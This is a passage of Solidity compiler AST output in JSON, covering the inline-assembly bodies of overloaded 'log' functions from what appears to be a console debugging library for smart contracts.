nName":{"name":"mstore","nativeSrc":"216397:6:22","nodeType":"YulIdentifier","src":"216397:6:22"},"nativeSrc":"216397:19:22","nodeType":"YulFunctionCall","src":"216397:19:22"},"nativeSrc":"216397:19:22","nodeType":"YulExpressionStatement","src":"216397:19:22"},{"nativeSrc":"216433:37:22","nodeType":"YulVariableDeclaration","src":"216433:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"216450:3:22","nodeType":"YulLiteral","src":"216450:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"216459:1:22","nodeType":"YulLiteral","src":"216459:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"216462:6:22","nodeType":"YulIdentifier","src":"216462:6:22"}],"functionName":{"name":"shl","nativeSrc":"216455:3:22","nodeType":"YulIdentifier","src":"216455:3:22"},"nativeSrc":"216455:14:22","nodeType":"YulFunctionCall","src":"216455:14:22"}],"functionName":{"name":"sub","nativeSrc":"216446:3:22","nodeType":"YulIdentifier","src":"216446:3:22"},"nativeSrc":"216446:24:22","nodeType":"YulFunctionCall","src":"216446:24:22"},"variables":[{"name":"shift","nativeSrc":"216437:5:22","nodeType":"YulTypedName","src":"216437:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"216498:3:22","nodeType":"YulIdentifier","src":"216498:3:22"},{"kind":"number","nativeSrc":"216503:4:22","nodeType":"YulLiteral","src":"216503:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"216494:3:22","nodeType":"YulIdentifier","src":"216494:3:22"},"nativeSrc":"216494:14:22","nodeType":"YulFunctionCall","src":"216494:14:22"},{"arguments":[{"name":"shift","nativeSrc":"216514:5:22","nodeType":"YulIdentifier","src":"216514:5:22"},{"arguments":[{"name":"shift","nativeSrc":"216525:5:22","nodeType":"YulIdentifier","src":"216525:5:22"},{"name":"w","nativeSrc":"216532:1:22","nodeType":"YulIdentifier","src":"216532:1:22"}],"functionName":{"name":"shr","nativeSrc":"216521:3:22","nodeType":"YulIdentifier","src":"216521:3:22"},"nativeSrc":"216521:13:22","nodeType":"YulFunctionCall","src":"216521:13:22"}],"functionName":{"name":"shl","nativeSrc":"216510:3:22","nodeType":"YulIdentifier","src":"216510:3:22"},"nativeSrc":"216510:25:22","nodeType":"YulFunctionCall","src":"216510:25:22"}],"functionName":{"name":"mstore","nativeSrc":"216487:6:22","nodeType":"YulIdentifier","src":"216487:6:22"},"nativeSrc":"216487:49:22","nodeType":"YulFunctionCall","src":"216487:49:22"},"nativeSrc":"216487:49:22","nodeType":"YulExpressionStatement","src":"216487:49:22"}]},"name":"writeString","nativeSrc":"216208:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"216229:3:22","nodeType":"YulTypedName","src":"216229:3:22","type":""},{"name":"w","nativeSrc":"216234:1:22","nodeType":"YulTypedName","src":"216234:1:22","type":""}],"src":"216208:342:22"},{"nativeSrc":"216563:17:22","nodeType":"YulAssignment","src":"216563:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"216575:4:22","nodeType":"YulLiteral","src":"216575:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"216569:5:22","nodeType":"YulIdentifier","src":"216569:5:22"},"nativeSrc":"216569:11:22","nodeType":"YulFunctionCall","src":"216569:11:22"},"variableNames":[{"name":"m0","nativeSrc":"216563:2:22","nodeType":"YulIdentifier","src":"216563:2:22"}]},{"nativeSrc":"216593:17:22","nodeType":"YulAssignment","src":"216593:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"216605:4:22","nodeType":"YulLiteral","src":"216605:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"216599:5:22","nodeType":"YulIdentifier","src":"216599:5:22"},"nativeSrc":"216599:11:22","nodeType":"YulFunctionCall","src":"216599:11:22"},"variableNames":[{"name":"m1","nativeSrc":"216593:2:22","nodeType":"YulIdentifier","src":"216593:2:22"}]},{"nativeSrc":"216623:17:22","nodeType":"YulAssignment","src":"216623:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"216635:4:22","nodeType":"YulLiteral","src":"216635:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"216629:5:22","nodeType":"YulIdentifier","src":"216629:5:22"},"nativeSrc":"216629:11:22","nodeType":"YulFunctionCall","src":"216629:11:22"},"variableNames":[{"name":"m2","nativeSrc":"216623:2:22","nodeType":"YulIdentifier","src":"216623:2:22"}]},{"nativeSrc":"216653:17:22","nodeType":"YulAssignment","src":"216653:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"216665:4:22","nodeType":"YulLiteral","src":"216665:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"216659:5:22","nodeType":"YulIdentifier","src":"216659:5:22"},"nativeSrc":"216659:11:22","nodeType":"YulFunctionCall","src":"216659:11:22"},"variableNames":[{"name":"m3","nativeSrc":"216653:2:22","nodeType":"YulIdentifier","src":"216653:2:22"}]},{"nativeSrc":"216683:17:22","nodeType":"YulAssignment","src":"216683:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"216695:4:22","nodeType":"YulLiteral","src":"216695:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"216689:5:22","nodeType":"YulIdentifier","src":"216689:5:22"},"nativeSrc":"216689:11:22","nodeType":"YulFunctionCall","src":"216689:11:22"},"variableNames":[{"name":"m4","nativeSrc":"216683:2:22","nodeType":"YulIdentifier","src":"216683:2:22"}]},{"nativeSrc":"216713:17:22","nodeType":"YulAssignment","src":"216713:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"216725:4:22","nodeType":"YulLiteral","src":"216725:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"216719:5:22","nodeType":"YulIdentifier","src":"216719:5:22"},"nativeSrc":"216719:11:22","nodeType":"YulFunctionCall","src":"216719:11:22"},"variableNames":[{"name":"m5","nativeSrc":"216713:2:22","nodeType":"YulIdentifier","src":"216713:2:22"}]},{"nativeSrc":"216743:17:22","nodeType":"YulAssignment","src":"216743:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"216755:4:22","nodeType":"YulLiteral","src":"216755:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"216749:5:22","nodeType":"YulIdentifier","src":"216749:5:22"},"nativeSrc":"216749:11:22","nodeType":"YulFunctionCall","src":"216749:11:22"},"variableNames":[{"name":"m6","nativeSrc":"216743:2:22","nodeType":"YulIdentifier","src":"216743:2:22"}]},{"nativeSrc":"216773:17:22","nodeType":"YulAssignment","src":"216773:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"216785:4:22","nodeType":"YulLiteral","src":"216785:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mload","nativeSrc":"216779:5:22","nodeType":"YulIdentifier","src":"216779:5:22"},"nativeSrc":"216779:11:22","nodeType":"YulFunctionCall","src":"216779:11:22"},"variableNames":[{"name":"m7","nativeSrc":"216773:2:22","nodeType":"YulIdentifier","src":"216773:2:22"}]},{"nativeSrc":"216803:18:22","nodeType":"YulAssignment","src":"216803:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"216815:5:22","nodeType":"YulLiteral","src":"216815:5:22","type":"","value":"0x100"}],"functionName":{"name":"mload","nativeSrc":"216809:5:22","nodeType":"YulIdentifier","src":"216809:5:22"},"nativeSrc":"216809:12:22","nodeType":"YulFunctionCall","src":"216809:12:22"},"variableNames":[{"name":"m8","nativeSrc":"216803:2:22","nodeType":"YulIdentifier","src":"216803:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"216900:4:22","nodeType":"YulLiteral","src":"216900:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"216906:10:22","nodeType":"YulLiteral","src":"216906:10:22","type":"","value":"0x483d0416"}],"functionName":{"name":"mstore","nativeSrc":"216893:6:22","nodeType":"YulIdentifier","src":"216893:6:22"},"nativeSrc":"216893:24:22","nodeType":"YulFunctionCall","src":"216893:24:22"},"nativeSrc":"216893:24:22","nodeType":"YulExpressionStatement","src":"216893:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"216937:4:22","nodeType":"YulLiteral","src":"216937:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"216943:2:22","nodeType":"YulIdentifier","src":"216943:2:22"}],"functionName":{"name":"mstore","nativeSrc":"216930:6:22","nodeType":"YulIdentifier","src":"216930:6:22"},"nativeSrc":"216930:16:22","nodeType":"YulFunctionCall","src":"216930:16:22"},"nativeSrc":"216930:16:22","nodeType":"YulExpressionStatement","src":"216930:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"216966:4:22","nodeType":"YulLiteral","src":"216966:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"216972:4:22","nodeType":"YulLiteral","src":"216972:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"216959:6:22","nodeType":"YulIdentifier","src":"216959:6:22"},"nativeSrc":"216959:18:22","nodeType":"YulFunctionCall","src":"216959:18:22"},"nativeSrc":"216959:18:22","nodeType":"YulExpressionStatement","src":"216959:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"216997:4:22","nodeType":"YulLiteral","src":"216997:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"217003:2:22","nodeType":"YulIdentifier","src":"217003:2:22"}],"functionName":{"name":"mstore","nativeSrc":"216990:6:22","nodeType":"YulIdentifier","src":"216990:6:22"},"nativeSrc":"216990:16:22","nodeType":"YulFunctionCall","src":"216990:16:22"},"nativeSrc":"216990:16:22","nodeType":"YulExpressionStatement","src":"216990:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"217026:4:22","nodeType":"YulLiteral","src":"217026:4:22","type":"","value":"0x80"},{"kind":"number","nativeSrc":"217032:4:22","nodeType":"YulLiteral","src":"217032:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mstore","nativeSrc":"217019:6:22","nodeType":"YulIdentifier","src":"217019:6:22"},"nativeSrc":"217019:18:22","nodeType":"YulFunctionCall","src":"217019:18:22"},"nativeSrc":"217019:18:22","nodeType":"YulExpressionStatement","src":"217019:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"217062:4:22","nodeType":"YulLiteral","src":"217062:4:22","type":"","value":"0xa0"},{"name":"p1","nativeSrc":"217068:2:22","nodeType":"YulIdentifier","src":"217068:2:22"}],"functionName":{"name":"writeString","nativeSrc":"217050:11:22","nodeType":"YulIdentifier","src":"217050:11:22"},"nativeSrc":"217050:21:22","nodeType":"YulFunctionCall","src":"217050:21:22"},"nativeSrc":"217050:21:22","nodeType":"YulExpressionStatement","src":"217050:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"217096:4:22","nodeType":"YulLiteral","src":"217096:4:22","type":"","value":"0xe0"},{"name":"p3","nativeSrc":"217102:2:22","nodeType":"YulIdentifier","src":"217102:2:22"}],"functionName":{"name":"writeString","nativeSrc":"217084:11:22","nodeType":"YulIdentifier","src":"217084:11:22"},"nativeSrc":"217084:21:22","nodeType":"YulFunctionCall","src":"217084:21:22"},"nativeSrc":"217084:21:22","nodeType":"YulExpressionStatement","src":"217084:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":40884,"isOffset":false,"isSlot":false,"src":"216563:2:22","valueSize":1},{"declaration":40887,"isOffset":false,"isSlot":false,"src":"216593:2:22","valueSize":1},{"declaration":40890,"isOffset":false,"isSlot":false,"src":"216623:2:22","valueSize":1},{"declaration":40893,"isOffset":false,"isSlot":false,"src":"216653:2:22","valueSize":1},{"declaration":40896,"isOffset":false,"isSlot":false,"src":"216683:2:22","valueSize":1},{"declaration":40899,"isOffset":false,"isSlot":false,"src":"216713:2:22","valueSize":1},{"declaration":40902,"isOffset":false,"isSlot":false,"src":"216743:2:22","valueSize":1},{"declaration":40905,"isOffset":false,"isSlot":false,"src":"216773:2:22","valueSize":1},{"declaration":40908,"isOffset":false,"isSlot":false,"src":"216803:2:22","valueSize":1},{"declaration":40874,"isOffset":false,"isSlot":false,"src":"216943:2:22","valueSize":1},{"declaration":40876,"isOffset":false,"isSlot":false,"src":"217068:2:22","valueSize":1},{"declaration":40878,"isOffset":false,"isSlot":false,"src":"217003:2:22","valueSize":1},{"declaration":40880,"isOffset":false,"isSlot":false,"src":"217102:2:22","valueSize":1}],"id":40910,"nodeType":"InlineAssembly","src":"216185:930:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":40912,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"217140:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"3078313034","id":40913,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"217146:5:22","typeDescriptions":{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"},"value":"0x104"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"}],"id":40911,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"217124:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":40914,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"217124:28:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":40915,"nodeType":"ExpressionStatement","src":"217124:28:22"},{"AST":{"nativeSrc":"217171:273:22","nodeType":"YulBlock","src":"217171:273:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"217192:4:22","nodeType":"YulLiteral","src":"217192:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"217198:2:22","nodeType":"YulIdentifier","src":"217198:2:22"}],"functionName":{"name":"mstore","nativeSrc":"217185:6:22","nodeType":"YulIdentifier","src":"217185:6:22"},"nativeSrc":"217185:16:22","nodeType":"YulFunctionCall","src":"217185:16:22"},"nativeSrc":"217185:16:22","nodeType":"YulExpressionStatement","src":"217185:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"217221:4:22","nodeType":"YulLiteral","src":"217221:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"217227:2:22","nodeType":"YulIdentifier","src":"217227:2:22"}],"functionName":{"name":"mstore","nativeSrc":"217214:6:22","nodeType":"YulIdentifier","src":"217214:6:22"},"nativeSrc":"217214:16:22","nodeType":"YulFunctionCall","src":"217214:16:22"},"nativeSrc":"217214:16:22","nodeType":"YulExpressionStatement","src":"217214:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"217250:4:22","nodeType":"YulLiteral","src":"217250:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"217256:2:22","nodeType":"YulIdentifier","src":"217256:2:22"}],"functionName":{"name":"mstore","nativeSrc":"217243:6:22","nodeType":"YulIdentifier","src":"217243:6:22"},"nativeSrc":"217243:16:22","nodeType":"YulFunctionCall","src":"217243:16:22"},"nativeSrc":"217243:16:22","nodeType":"YulExpressionStatement","src":"217243:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"217279:4:22","nodeType":"YulLiteral","src":"217279:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"217285:2:22","nodeType":"YulIdentifier","src":"217285:2:22"}],"functionName":{"name":"mstore","nativeSrc":"217272:6:22","nodeType":"YulIdentifier","src":"217272:6:22"},"nativeSrc":"217272:16:22","nodeType":"YulFunctionCall","src":"217272:16:22"},"nativeSrc":"217272:16:22","nodeType":"YulExpressionStatement","src":"217272:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"217308:4:22","nodeType":"YulLiteral","src":"217308:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"217314:2:22","nodeType":"YulIdentifier","src":"217314:2:22"}],"functionName":{"name":"mstore","nativeSrc":"217301:6:22","nodeType":"YulIdentifier","src":"217301:6:22"},"nativeSrc":"217301:16:22","nodeType":"YulFunctionCall","src":"217301:16:22"},"nativeSrc":"217301:16:22","nodeType":"YulExpressionStatement","src":"217301:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"217337:4:22","nodeType":"YulLiteral","src":"217337:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"217343:2:22","nodeType":"YulIdentifier","src":"217343:2:22"}],"functionName":{"name":"mstore","nativeSrc":"217330:6:22","nodeType":"YulIdentifier","src":"217330:6:22"},"nativeSrc":"217330:16:22","nodeType":"YulFunctionCall","src":"217330:16:22"},"nativeSrc":"217330:16:22","nodeType":"YulExpressionStatement","src":"217330:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"217366:4:22","nodeType":"YulLiteral","src":"217366:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"217372:2:22","nodeType":"YulIdentifier","src":"217372:2:22"}],"functionName":{"name":"mstore","nativeSrc":"217359:6:22","nodeType":"YulIdentifier","src":"217359:6:22"},"nativeSrc":"217359:16:22","nodeType":"YulFunctionCall","src":"217359:16:22"},"nativeSrc":"217359:16:22","nodeType":"YulExpressionStatement","src":"217359:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"217395:4:22","nodeType":"YulLiteral","src":"217395:4:22","type":"","value":"0xe0"},{"name":"m7","nativeSrc":"217401:2:22","nodeType":"YulIdentifier","src":"217401:2:22"}],"functionName":{"name":"mstore","nativeSrc":"217388:6:22","nodeType":"YulIdentifier","src":"217388:6:22"},"nativeSrc":"217388:16:22","nodeType":"YulFunctionCall","src":"217388:16:22"},"nativeSrc":"217388:16:22","nodeType":"YulExpressionStatement","src":"217388:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"217424:5:22","nodeType":"YulLiteral","src":"217424:5:22","type":"","value":"0x100"},{"name":"m8","nativeSrc":"217431:2:22","nodeType":"YulIdentifier","src":"217431:2:22"}],"functionName":{"name":"mstore","nativeSrc":"217417:6:22","nodeType":"YulIdentifier","src":"217417:6:22"},"nativeSrc":"217417:17:22","nodeType":"YulFunctionCall","src":"217417:17:22"},"nativeSrc":"217417:17:22","nodeType":"YulExpressionStatement","src":"217417:17:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":40884,"isOffset":false,"isSlot":false,"src":"217198:2:22","valueSize":1},{"declaration":40887,"isOffset":false,"isSlot":false,"src":"217227:2:22","valueSize":1},{"declaration":40890,"isOffset":false,"isSlot":false,"src":"217256:2:22","valueSize":1},{"declaration":40893,"isOffset":false,"isSlot":false,"src":"217285:2:22","valueSize":1},{"declaration":40896,"isOffset":false,"isSlot":false,"src":"217314:2:22","valueSize":1},{"declaration":40899,"isOffset":false,"isSlot":false,"src":"217343:2:22","valueSize":1},{"declaration":40902,"isOffset":false,"isSlot":false,"src":"217372:2:22","valueSize":1},{"declaration":40905,"isOffset":false,"isSlot":false,"src":"217401:2:22","valueSize":1},{"declaration":40908,"isOffset":false,"isSlot":false,"src":"217431:2:22","valueSize":1}],"id":40916,"nodeType":"InlineAssembly","src":"217162:282:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"215935:3:22","parameters":{"id":40881,"nodeType":"ParameterList","parameters":[{"constant":false,"id":40874,"mutability":"mutable","name":"p0","nameLocation":"215944:2:22","nodeType":"VariableDeclaration","scope":40918,"src":"215939:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":40873,"name":"bool","nodeType":"ElementaryTypeName","src":"215939:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":40876,"mutability":"mutable","name":"p1","nameLocation":"215956:2:22","nodeType":"VariableDeclaration","scope":40918,"src":"215948:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40875,"name":"bytes32","nodeType":"ElementaryTypeName","src":"215948:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":40878,"mutability":"mutable","name":"p2","nameLocation":"215965:2:22","nodeType":"VariableDeclaration","scope":40918,"src":"215960:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":40877,"name":"bool","nodeType":"ElementaryTypeName","src":"215960:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":40880,"mutability":"mutable","name":"p3","nameLocation":"215977:2:22","nodeType":"VariableDeclaration","scope":40918,"src":"215969:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40879,"name":"bytes32","nodeType":"ElementaryTypeName","src":"215969:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"215938:42:22"},"returnParameters":{"id":40882,"nodeType":"ParameterList","parameters":[],"src":"215995:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":40958,"nodeType":"FunctionDefinition","src":"217456:1334:22","nodes":[],"body":{"id":40957,"nodeType":"Block","src":"217528:1262:22","nodes":[],"statements":[{"assignments":[40930],"declarations":[{"constant":false,"id":40930,"mutability":"mutable","name":"m0","nameLocation":"217546:2:22","nodeType":"VariableDeclaration","scope":40957,"src":"217538:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40929,"name":"bytes32","nodeType":"ElementaryTypeName","src":"217538:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40931,"nodeType":"VariableDeclarationStatement","src":"217538:10:22"},{"assignments":[40933],"declarations":[{"constant":false,"id":40933,"mutability":"mutable","name":"m1","nameLocation":"217566:2:22","nodeType":"VariableDeclaration","scope":40957,"src":"217558:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40932,"name":"bytes32","nodeType":"ElementaryTypeName","src":"217558:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40934,"nodeType":"VariableDeclarationStatement","src":"217558:10:22"},{"assignments":[40936],"declarations":[{"constant":false,"id":40936,"mutability":"mutable","name":"m2","nameLocation":"217586:2:22","nodeType":"VariableDeclaration","scope":40957,"src":"217578:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40935,"name":"bytes32","nodeType":"ElementaryTypeName","src":"217578:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40937,"nodeType":"VariableDeclarationStatement","src":"217578:10:22"},{"assignments":[40939],"declarations":[{"constant":false,"id":40939,"mutability":"mutable","name":"m3","nameLocation":"217606:2:22","nodeType":"VariableDeclaration","scope":40957,"src":"217598:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40938,"name":"bytes32","nodeType":"ElementaryTypeName","src":"217598:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40940,"nodeType":"VariableDeclarationStatement","src":"217598:10:22"},{"assignments":[40942],"declarations":[{"constant":false,"id":40942,"mutability":"mutable","name":"m4","nameLocation":"217626:2:22","nodeType":"VariableDeclaration","scope":40957,"src":"217618:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40941,"name":"bytes32","nodeType":"ElementaryTypeName","src":"217618:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40943,"nodeType":"VariableDeclarationStatement","src":"217618:10:22"},{"assignments":[40945],"declarations":[{"constant":false,"id":40945,"mutability":"mutable","name":"m5","nameLocation":"217646:2:22","nodeType":"VariableDeclaration","scope":40957,"src":"217638:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40944,"name":"bytes32","nodeType":"ElementaryTypeName","src":"217638:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40946,"nodeType":"VariableDeclarationStatement","src":"217638:10:22"},{"assignments":[40948],"declarations":[{"constant":false,"id":40948,"mutability":"mutable","name":"m6","nameLocation":"217666:2:22","nodeType":"VariableDeclaration","scope":40957,"src":"217658:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40947,"name":"bytes32","nodeType":"ElementaryTypeName","src":"217658:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40949,"nodeType":"VariableDeclarationStatement","src":"217658:10:22"},{"AST":{"nativeSrc":"217687:828:22","nodeType":"YulBlock","src":"217687:828:22","statements":[{"body":{"nativeSrc":"217730:313:22","nodeType":"YulBlock","src":"217730:313:22","statements":[{"nativeSrc":"217748:15:22","nodeType":"YulVariableDeclaration","src":"217748:15:22","value":{"kind":"number","nativeSrc":"217762:1:22","nodeType":"YulLiteral","src":"217762:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"217752:6:22","nodeType":"YulTypedName","src":"217752:6:22","type":""}]},{"body":{"nativeSrc":"217833:40:22","nodeType":"YulBlock","src":"217833:40:22","statements":[{"body":{"nativeSrc":"217862:9:22","nodeType":"YulBlock","src":"217862:9:22","statements":[{"nativeSrc":"217864:5:22","nodeType":"YulBreak","src":"217864:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"217850:6:22","nodeType":"YulIdentifier","src":"217850:6:22"},{"name":"w","nativeSrc":"217858:1:22","nodeType":"YulIdentifier","src":"217858:1:22"}],"functionName":{"name":"byte","nativeSrc":"217845:4:22","nodeType":"YulIdentifier","src":"217845:4:22"},"nativeSrc":"217845:15:22","nodeType":"YulFunctionCall","src":"217845:15:22"}],"functionName":{"name":"iszero","nativeSrc":"217838:6:22","nodeType":"YulIdentifier","src":"217838:6:22"},"nativeSrc":"217838:23:22","nodeType":"YulFunctionCall","src":"217838:23:22"},"nativeSrc":"217835:36:22","nodeType":"YulIf","src":"217835:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"217790:6:22","nodeType":"YulIdentifier","src":"217790:6:22"},{"kind":"number","nativeSrc":"217798:4:22","nodeType":"YulLiteral","src":"217798:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"217787:2:22","nodeType":"YulIdentifier","src":"217787:2:22"},"nativeSrc":"217787:16:22","nodeType":"YulFunctionCall","src":"217787:16:22"},"nativeSrc":"217780:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"217804:28:22","nodeType":"YulBlock","src":"217804:28:22","statements":[{"nativeSrc":"217806:24:22","nodeType":"YulAssignment","src":"217806:24:22","value":{"arguments":[{"name":"length","nativeSrc":"217820:6:22","nodeType":"YulIdentifier","src":"217820:6:22"},{"kind":"number","nativeSrc":"217828:1:22","nodeType":"YulLiteral","src":"217828:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"217816:3:22","nodeType":"YulIdentifier","src":"217816:3:22"},"nativeSrc":"217816:14:22","nodeType":"YulFunctionCall","src":"217816:14:22"},"variableNames":[{"name":"length","nativeSrc":"217806:6:22","nodeType":"YulIdentifier","src":"217806:6:22"}]}]},"pre":{"nativeSrc":"217784:2:22","nodeType":"YulBlock","src":"217784:2:22","statements":[]},"src":"217780:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"217897:3:22","nodeType":"YulIdentifier","src":"217897:3:22"},{"name":"length","nativeSrc":"217902:6:22","nodeType":"YulIdentifier","src":"217902:6:22"}],"functionName":{"name":"mstore","nativeSrc":"217890:6:22","nodeType":"YulIdentifier","src":"217890:6:22"},"nativeSrc":"217890:19:22","nodeType":"YulFunctionCall","src":"217890:19:22"},"nativeSrc":"217890:19:22","nodeType":"YulExpressionStatement","src":"217890:19:22"},{"nativeSrc":"217926:37:22","nodeType":"YulVariableDeclaration","src":"217926:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"217943:3:22","nodeType":"YulLiteral","src":"217943:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"217952:1:22","nodeType":"YulLiteral","src":"217952:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"217955:6:22","nodeType":"YulIdentifier","src":"217955:6:22"}],"functionName":{"name":"shl","nativeSrc":"217948:3:22","nodeType":"YulIdentifier","src":"217948:3:22"},"nativeSrc":"217948:14:22","nodeType":"YulFunctionCall","src":"217948:14:22"}],"functionName":{"name":"sub","nativeSrc":"217939:3:22","nodeType":"YulIdentifier","src":"217939:3:22"},"nativeSrc":"217939:24:22","nodeType":"YulFunctionCall","src":"217939:24:22"},"variables":[{"name":"shift","nativeSrc":"217930:5:22","nodeType":"YulTypedName","src":"217930:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"217991:3:22","nodeType":"YulIdentifier","src":"217991:3:22"},{"kind":"number","nativeSrc"